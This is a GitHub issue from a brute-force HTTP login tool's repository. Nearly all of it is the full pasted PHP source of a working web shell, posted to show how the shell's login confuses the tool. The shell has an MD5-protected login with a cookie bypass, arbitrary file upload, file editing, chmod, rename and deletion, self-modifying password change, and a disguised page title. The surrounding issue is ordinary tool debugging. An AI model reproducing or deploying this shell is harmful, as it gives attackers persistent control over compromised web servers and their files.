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dmknght / BruteforceHTTP

Brute Forcing HTTP form automatically
GNU General Public License v3.0
31 stars 27 forks source link

Wrong login result in webshell login behavior #20

Closed dmknght closed 5 years ago

dmknght commented 5 years ago

source code: Behavior:

  1. Login use GET method (really??)
  2. Send response in every login request
  3. Change cookie, add password = "valid_password";
  4. Accept login with new password and new request
<?php 
$auth_pass = "529ca8050a00180790cf88b63468826a";
error_reporting(0);
set_time_limit(0);

function lp(){
?>
<html>
    <head>
        <title>XALVADOR_</title>
    </head>
    <body bgcolor="black" style="color:#00CED1">
        <center>
            <div style="height:500;width:400;border:2px #00CED1;margin-top:100;border-radius:25px">
                <img src="https://imgur.com/ApTnvh5.png" height="500" width="400" /><br/>
                <h1>Mini Shell Corp</h1>
                <form action method="get">
                    <input type="hidden" name="action" value="login" />
                    <input type="password" name="pass" placeholder="Lebokno Passworde Pak!"/><br/>
                    <input type="submit" value="log in" style="margin-top:4px;width:173px;background:black;color:#00CED1;border:2px solid #00CED1;border-radius:10px"/>
                </form><br/><br/><br/><br/><br/>
                <footer><pre>Copyright &copy 2k18 | XALVADOR_</pre></footer>
            </div>
        </center>
<?php 
;}
if(isset($_GET['action'])){
    if($_GET['action']=='login'){
        setcookie('password',$_GET['pass']);
        echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
    }
    else if($_GET['action']=='logout'){
        setcookie('password','',-86400*30*12);
        echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
    }
}
if(isset($_COOKIE['password'])){
    if(md5($_COOKIE['password'])==$auth_pass || $_COOKIE['L']=="L"){
        ?>
<?php

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
function perms($file){
    $perms = @fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title>FREE PORN VIDEOS</title>

<style>
body{
        font-family: Rye;
        background-image: url("https://imgur.com/XA3ykBI.jpg");
        color:red;
        background-attachment:fixed;
        background-repeat:no-repeat;
        background-position:center;
        background-color:transparan;
        -webkit-background-size: 100% 100%;
}
#content tr:hover{
    background-color: #00CED1;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: transparent;
}
#content .first:hover{
    background-color: black;
    text-shadow:0px 0px 1px #00CED1;
}
table{
    border: 3px #00CED1 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #fff;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #00CED1;
}
input,select,textarea{
    border: 1px #00CED1 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<input type=button onclick=\'location="?action=logout"\' value="Keluar Beb! Jangan disini mulu" /><br/>
<input type=button onclick=\'location="?x=changepass"\' value="Ganti Password beb :*" />
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
    $path = base64_decode($_GET['path']);
}else{
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path='.base64_encode("/").'">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    $linkpath = '';
    for($i=0;$i<=$id;$i++){
        $linkpath .= "$paths[$i]";
        if($i != $id) $linkpath .= "/";
    }
    echo base64_encode($linkpath);
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="#00CED1">File terupload beb.</font><br />';
    }else{
        echo '<font color="#8B0000">Gagal upload beb :(.</font><br />';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
Ambil File Mu:* : <input type="file" name="file" />
<input type="submit" value="Tusbol!!" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo base64_decode($_GET['filesrc']);
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delet'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="#00CED1">Sukses ngganti Permission.</font><br />';
            }else{
                echo '<font color="#8B0000">Gagal ngganti permission :(.</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="#00CED1">Sukses ganti nama beb :* .</font><br />';
            }else{
                echo '<font color="#8B0000">Gagal ganti nama beb :(.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="#00CED1">Ngedit file Succes beb :*</font><br />';
            }else{
                echo '<font color="#8B0000">Ngedit File gagal beb :(.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delet'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="#00CED1">Hapus dir succes beb :*</font><br />';
            }else{
                echo '<font color="#8B0000">Gagal Hapus dir beb :(</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="#00CED1">Succes hapus file kamu beb :*.</font><br />';
            }else{
                echo '<font color="#8B0000">Gagal hapus file kamu beb :(.</font><br />';
            }
        }
    }
    echo '</center>';
    if(!isset($_GET['x'])){
    ?>
    <?php
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Nama</center></td>
        <td><center>Ukuran</center></td>
        <td><center>Permissions</center></td>
        <td><center>Setting</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        $dirlink = base64_encode("$path/$dir");
        echo "<tr>
        <td><a href=\"?path=$dirlink\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="#8B0000">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
        <option value=\"\">Hai:)</option>
        <option value=\"delet\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Ganti nama</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        $filelink = base64_encode("$path/$file");
        echo "<tr>
        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
        <option value=\"\">Hai:)</option>
        <option value=\"delet\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Ganti nama</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
    ?>
    <?php 
    }
if(isset($_GET['x']) && $_GET['x']=='changepass'){
        ?>
        <?php
        function fgc($file){
            return file_get_contents($file);
        }
        function changepass($plain){
            $newpass = md5($plain);
            $newpass = "\$auth_pass = \"".$newpass."\";";
            $con = fgc($_SERVER['SCRIPT_FILENAME']);
            $con = preg_replace("/\\\$auth_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
            return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
        }
        echo '<center><h1>Change Shell Password</h1></center>'; 
        echo  '<center>';
        echo '<form action="" method=post ><table>';
        echo '<tr><td>New Password</td><td> :  <input type=password name=pass1 style="border-radius:5px;" /></td></tr>';
        echo '<tr><td>Confirm Password</td><td> :  <input type=password name=pass2 style="border-radius:5px;" /></td></tr>';
        echo '<tr><td colspan=2><input type=submit value=submit name=L style="border-radius:5px;width:100%"/></td></tr></table>';
        echo '</form>';
    if(isset($_POST['L'])){
        if($_POST['pass1'] == $_POST['pass2']){
            if(changepass($_POST['pass1'])){
                echo '<script>alert("sukses ganti password beb")</script>';         
            }else{
                echo '<script>alert("gagal ganti password beb")</script>';          
            }
        }else{
            echo '<script>alert("password not match")</script>';
        }
    }
    ?>
    <?php 
}
echo '
</BODY>
</HTML>';
?>

<!-- _______________________________________________Recode By XALVADOR_ | Pacman Corp 

©2018 | Pacman Corp 
_____________________________________________ -->
        <?php
    }else{
        lp();
    }
}else{
    echo lp();
}
?>
</body>
</html>
dmknght commented 5 years ago

Close via latest commit in CodeQuality